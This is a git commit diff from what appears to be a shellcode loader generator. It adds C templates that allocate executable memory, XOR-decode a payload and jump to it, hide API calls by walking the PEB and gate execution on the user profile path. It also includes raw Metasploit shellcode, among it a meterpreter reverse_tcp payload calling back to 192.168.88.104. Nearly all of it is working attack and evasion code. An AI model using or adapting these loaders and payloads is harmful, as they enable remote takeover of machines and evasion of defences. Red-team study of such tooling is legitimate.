refactor: reorganize files into data/

2026-06-03 01:27:11 +00:00 · 2024-03-01 17:07:01 +00:00
parent 9e551d9a19
commit 6175875ea1
31 changed files with 42 additions and 123 deletions
@@ -0,0 +1 @@
+    char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
@@ -0,0 +1,3 @@
+    for (int n=0; n<{{PAYLOAD_LEN}}; n++) {
+        dest[n] = supermega_payload[n];
+    }
@@ -0,0 +1,4 @@
+    for (int n=0; n<{{PAYLOAD_LEN}}; n++){
+        dest[n] = supermega_payload[n];
+        dest[n] = dest[n] ^ {{XOR_KEY}};
+    }
@@ -0,0 +1 @@
+    (*(void(*)())(dest))();
@@ -0,0 +1,3 @@
+�
+�
+�
@@ -0,0 +1,40 @@
+# createfile shellcode
+
+```
+> use payload/windows/x64/exec
+
+msf6 payload(windows/x64/exec) > set cmd "cmd.exe /c echo a > a"
+cmd => cmd.exe /c echo a > a
+msf6 payload(windows/x64/exec) > generate -b "\x00"
+# windows/x64/exec - 339 bytes
+# https://metasploit.com/
+# Encoder: x64/xor_dynamic
+# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
+# CMD=cmd.exe /c echo a > a
+buf =
+"\xeb\x27\x5b\x53\x5f\xb0\x3f\xfc\xae\x75\xfd\x57\x59\x53" +
+"\x5e\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f" +
+"\x04\x74\x74\x07\x80\x3e\x3f\x75\xea\xeb\xe6\xff\xe1\xe8" +
+"\xd4\xff\xff\xff\x07\x3f\xfb\x4f\x84\xe3\xf7\xef\xc7\x07" +
+"\x07\x07\x46\x56\x46\x57\x55\x56\x51\x4f\x36\xd5\x62\x4f" +
+"\x8c\x55\x67\x4f\x8c\x55\x1f\x4f\x8c\x55\x27\x4f\x8c\x75" +
+"\x57\x4f\x08\xb0\x4d\x4d\x4a\x36\xce\x4f\x36\xc7\xab\x3b" +
+"\x66\x7b\x05\x2b\x27\x46\xc6\xce\x0a\x46\x06\xc6\xe5\xea" +
+"\x55\x46\x56\x4f\x8c\x55\x27\x8c\x45\x3b\x4f\x06\xd7\x8c" +
+"\x87\x8f\x07\x07\x07\x4f\x82\xc7\x73\x60\x4f\x06\xd7\x57" +
+"\x8c\x4f\x1f\x43\x8c\x47\x27\x4e\x06\xd7\xe4\x51\x4f\xf8" +
+"\xce\x46\x8c\x33\x8f\x4f\x06\xd1\x4a\x36\xce\x4f\x36\xc7" +
+"\xab\x46\xc6\xce\x0a\x46\x06\xc6\x3f\xe7\x72\xf6\x4b\x04" +
+"\x4b\x23\x0f\x42\x3e\xd6\x72\xdf\x5f\x43\x8c\x47\x23\x4e" +
+"\x06\xd7\x61\x46\x8c\x0b\x4f\x43\x8c\x47\x1b\x4e\x06\xd7" +
+"\x46\x8c\x03\x8f\x4f\x06\xd7\x46\x5f\x46\x5f\x59\x5e\x5d" +
+"\x46\x5f\x46\x5e\x46\x5d\x4f\x84\xeb\x27\x46\x55\xf8\xe7" +
+"\x5f\x46\x5e\x5d\x4f\x8c\x15\xee\x50\xf8\xf8\xf8\x5a\x4f" +
+"\xbd\x06\x07\x07\x07\x07\x07\x07\x07\x4f\x8a\x8a\x06\x06" +
+"\x07\x07\x46\xbd\x36\x8c\x68\x80\xf8\xd2\xbc\xf7\xb2\xa5" +
+"\x51\x46\xbd\xa1\x92\xba\x9a\xf8\xd2\x4f\x84\xc3\x2f\x3b" +
+"\x01\x7b\x0d\x87\xfc\xe7\x72\x02\xbc\x40\x14\x75\x68\x6d" +
+"\x07\x5e\x46\x8e\xdd\xf8\xd2\x64\x6a\x63\x29\x62\x7f\x62" +
+"\x27\x28\x64\x27\x62\x64\x6f\x68\x27\x66\x27\x39\x27\x66" +
+"\x07\x04\x74"
+```
@@ -0,0 +1,47 @@
+msf6 > use payload/windows/x64/meterpreter/reverse_tcp
+msf6 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.88.104
+LHOST => 192.168.88.104
+msf6 payload(windows/x64/meterpreter/reverse_tcp) > generate
+
+# StageEncodingFallback=true, PrependMigrate=false, 
+# EXITFUNC=process, AutoLoadStdapi=true, 
+# AutoVerifySessionTimeout=30, InitialAutoRunScript=, 
+# AutoRunScript=, AutoSystemInfo=true, 
+# EnableUnicodeEncoding=false, SessionRetryTotal=3600, 
+# SessionRetryWait=10, SessionExpirationTimeout=604800, 
+# SessionCommunicationTimeout=300, PayloadProcessCommandLine=, 
+# AutoUnhookProcess=false, MeterpreterDebugBuild=false
+buf = 
+"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50" +
+"\x52\x48\x31\xd2\x51\x56\x65\x48\x8b\x52\x60\x48\x8b\x52" +
+"\x18\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48" +
+"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" +
+"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x41" +
+"\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f" +
+"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0" +
+"\x74\x67\x48\x01\xd0\x44\x8b\x40\x20\x8b\x48\x18\x49\x01" +
+"\xd0\x50\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88" +
+"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1" +
+"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8" +
+"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44" +
+"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41" +
+"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83" +
+"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" +
+"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00" +
+"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49" +
+"\x89\xe5\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x58\x68\x41\x54" +
+"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5" +
+"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b" +
+"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31" +
+"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41" +
+"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58" +
+"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5" +
+"\x85\xc0\x74\x0c\x49\xff\xce\x75\xe5\x68\xf0\xb5\xa2\x56" +
+"\xff\xd5\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04" +
+"\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x48" +
+"\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68\x00\x10\x00" +
+"\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53" +
+"\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89" +
+"\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff" +
+"\xd5\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xe1\x41\xff" +
+"\xe7"
@@ -0,0 +1,3 @@
+�
+�
+�
@@ -0,0 +1,46 @@
+#include <Windows.h>
+
+char *supermega_payload;
+
+int main()
+{
+	// Execution Guardrail: Env Check
+	//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
+	//wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
+	wchar_t envVarName[] = L"USERPROFILE";
+	wchar_t tocheck[] = L"C:\\Users\\hacker";
+	WCHAR buffer[1024];  // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
+	DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))GetEnvironmentVariableW)(envVarName, buffer, 1024);
+	if (result == 0) {
+		return 6;
+	}
+	if (mystrcmp(buffer, tocheck) != 0) { 
+		return 6;
+	}
+
+	// Allocate RWX segment
+    // char *dest = ...
+{{ plugin_allocator }}
+
+	// Copy
+	// from: supermega_payload[]
+	// to:   dest[]
+    // len:  0x11223344
+{{ plugin_decoder }}
+
+    // Execute *dest
+{{ plugin_executor }}
+
+	return 0;
+}
+
+int mystrcmp(wchar_t* str1, wchar_t* str2) {
+	int i = 0;
+	while (str1[i] != L'\0' && str2[i] != L'\0') {
+		if (str1[i] != str2[i]) {
+			return 1;
+		}
+		i++;
+	}
+	return 0;
+}
@@ -0,0 +1,120 @@
+#pragma once
+#pragma once
+#include <Windows.h>
+#ifndef __NTDLL_H__
+#ifndef TO_LOWERCASE
+#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
+#endif
+
+typedef struct _UNICODE_STRING
+{
+	USHORT Length;
+	USHORT MaximumLength;
+	PWSTR Buffer;
+} UNICODE_STRING, * PUNICODE_STRING;
+typedef struct _PEB_LDR_DATA
+{
+	ULONG Length;
+	BOOLEAN Initialized;
+	HANDLE SsHandle;
+	LIST_ENTRY InLoadOrderModuleList;
+	LIST_ENTRY InMemoryOrderModuleList;
+	LIST_ENTRY InInitializationOrderModuleList;
+	PVOID EntryInProgress;
+} PEB_LDR_DATA, * PPEB_LDR_DATA;
+//here we don't want to use any functions imported form external modules
+typedef struct _LDR_DATA_TABLE_ENTRY {
+	LIST_ENTRY InLoadOrderModuleList;
+	LIST_ENTRY InMemoryOrderModuleList;
+	LIST_ENTRY InInitializationOrderModuleList;
+	void* BaseAddress;
+	void* EntryPoint;
+	ULONG SizeOfImage;
+	UNICODE_STRING FullDllName;
+	UNICODE_STRING BaseDllName;
+	ULONG Flags;
+	SHORT LoadCount;
+	SHORT TlsIndex;
+	HANDLE SectionHandle;
+	ULONG CheckSum;
+	ULONG TimeDateStamp;
+} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
+typedef struct _PEB
+{
+	BOOLEAN InheritedAddressSpace;
+	BOOLEAN ReadImageFileExecOptions;
+	BOOLEAN BeingDebugged;
+	BOOLEAN SpareBool;
+	HANDLE Mutant;
+	PVOID ImageBaseAddress;
+	PPEB_LDR_DATA Ldr;
+	// [...] this is a fragment, more elements follow here
+} PEB, * PPEB;
+#endif //__NTDLL_H__
+
+inline LPVOID get_module_by_name(WCHAR * module_name)
+{
+	PPEB peb = NULL;
+#if defined(_WIN64)
+	peb = (PPEB)__readgsqword(0x60);
+#else
+	peb = (PPEB)__readfsdword(0x30);
+#endif
+	PPEB_LDR_DATA ldr = peb->Ldr;
+	LIST_ENTRY list = ldr->InLoadOrderModuleList;
+	PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
+	PLDR_DATA_TABLE_ENTRY curr_module = Flink;
+	while (curr_module != NULL && curr_module->BaseAddress != NULL) {
+		if (curr_module->BaseDllName.Buffer == NULL) continue;
+		WCHAR* curr_name = curr_module->BaseDllName.Buffer;
+		size_t i = 0;
+		for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
+			WCHAR c1, c2;
+			TO_LOWERCASE(c1, module_name[i]);
+			TO_LOWERCASE(c2, curr_name[i]);
+			if (c1 != c2) break;
+		}
+		if (module_name[i] == 0 && curr_name[i] == 0) {
+			//found
+			return curr_module->BaseAddress;
+		}
+		// not found, try next:
+		curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
+	}
+	return NULL;
+}
+inline LPVOID get_func_by_name(LPVOID module, char* func_name)
+{
+	IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
+	if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
+		return NULL;
+	}
+	IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
+	IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
+	if (exportsDir->VirtualAddress == NULL) {
+		return NULL;
+	}
+	DWORD expAddr = exportsDir->VirtualAddress;
+	IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
+	SIZE_T namesCount = exp->NumberOfNames;
+	DWORD funcsListRVA = exp->AddressOfFunctions;
+	DWORD funcNamesListRVA = exp->AddressOfNames;
+	DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;
+
+		//go through names:
+		for (SIZE_T i = 0; i < namesCount; i++) {
+			DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
+			WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
+			DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
+			LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
+			size_t k = 0;
+			for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
+				if (func_name[k] != curr_name[k]) break;
+			}
+			if (func_name[k] == 0 && curr_name[k] == 0) {
+				//found
+				return (BYTE*)module + (*funcRVA);
+			}
+		}
+	return NULL;
+}
@@ -0,0 +1,110 @@
+#include <Windows.h>
+#include "peb_lookup.h"
+
+
+//extern char *supermega_payload;
+char *supermega_payload;
+
+int main()
+{
+	wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
+	LPVOID base = get_module_by_name((const LPWSTR)kernel32_dll_name);
+	if (!base) {
+		return 1;
+	}
+	char load_lib_name[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
+	LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);
+	if (!load_lib) {
+		return 2;
+	}
+	char get_proc_name[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
+	LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)get_proc_name);
+	if (!get_proc) {
+		return 3;
+	}
+	HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR))load_lib;
+	FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName)
+		= (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc;
+
+	// ntdll.dll: GetEnvironmentVariableW()
+	char GetEnvironmentVariableW_str[] = { 'G','e','t','E','n','v','i','r','o','n','m','e','n','t','V','a','r','i','a','b','l','e','W', 0 };
+	int (WINAPI * _GetEnvironmentVariableW)(
+		_In_opt_ LPCWSTR lpName,
+		_Out_opt_ LPWSTR  lpBuffer,
+		_In_ DWORD nSize) = (int (WINAPI*)(
+			_In_opt_ LPCWSTR lpName,
+			_Out_opt_ LPWSTR  lpBuffer,
+			_In_opt_ LPCWSTR,
+			_In_ DWORD nSize)) _GetProcAddress((HMODULE)base, GetEnvironmentVariableW_str);
+	if (_GetEnvironmentVariableW == NULL) return 4;
+
+	// Execution Guardrail: Env Check
+	wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
+	wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
+	WCHAR buffer[1024];  // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
+	DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))_GetEnvironmentVariableW)(envVarName, buffer, 1024);
+	if (result == 0) {
+		return 6;
+	}
+	if (mystrcmp(buffer, tocheck) != 0) { 
+		return 6;
+	}
+
+	// user32.dll: MessageBoxW()
+	/*
+	char user32_dll_name[] = { 'u','s','e','r','3','2','.','d','l','l', 0 };
+	LPVOID u32_dll = _LoadLibraryA(user32_dll_name);
+	char message_box_name[] = { 'M','e','s','s','a','g','e','B','o','x','W', 0 };
+	int (WINAPI * _MessageBoxW)(
+		_In_opt_ HWND hWnd,
+		_In_opt_ LPCWSTR lpText,
+		_In_opt_ LPCWSTR lpCaption,
+		_In_ UINT uType) = (int (WINAPI*)(
+			_In_opt_ HWND,
+			_In_opt_ LPCWSTR,
+			_In_opt_ LPCWSTR,
+			_In_ UINT)) _GetProcAddress((HMODULE)u32_dll, message_box_name);
+	if (_MessageBoxW == NULL) return 4;
+
+	wchar_t msg_content[] = { 'H','e','l','l','o', ' ', 'W','o','r','l','d','!', 0 };
+	wchar_t msg_title[] = { 'D','e','m','o','!', 0 };
+	_MessageBoxW(0, msg_title, msg_content, MB_OK);
+	*/
+
+	// Copy shellcode
+	// ntdll.dll: VirtualAlloc()
+	char VirtualAlloc_str[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0 };
+	LPVOID (WINAPI * _VirtualAlloc)(
+		_In_opt_ LPVOID lpAddress,
+		_In_ SIZE_T dwSize,
+		_In_ DWORD  flAllocationType,
+		_In_ DWORD  flProtect) = (LPVOID (WINAPI*)(
+			_In_opt_ LPVOID lpAddress,
+			_In_ SIZE_T dwSize,
+			_In_ DWORD  flAllocationType,
+			_In_ DWORD  flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
+	if (_VirtualAlloc == NULL) return 4;
+	char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
+
+	// Copy
+	// from: supermega_payload[]
+	// to:   dest[]
+    // len:  0x11223344
+{{ plugin_decoder }}
+
+    // Execute *dest
+{{ plugin_executor }}
+
+	return 0;
+}
+
+int mystrcmp(wchar_t* str1, wchar_t* str2) {
+	int i = 0;
+	while (str1[i] != L'\0' && str2[i] != L'\0') {
+		if (str1[i] != str2[i]) {
+			return 1;
+		}
+		i++;
+	}
+	return 0;
+}
				`@@ -0,0 +1 @@`
				`char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);`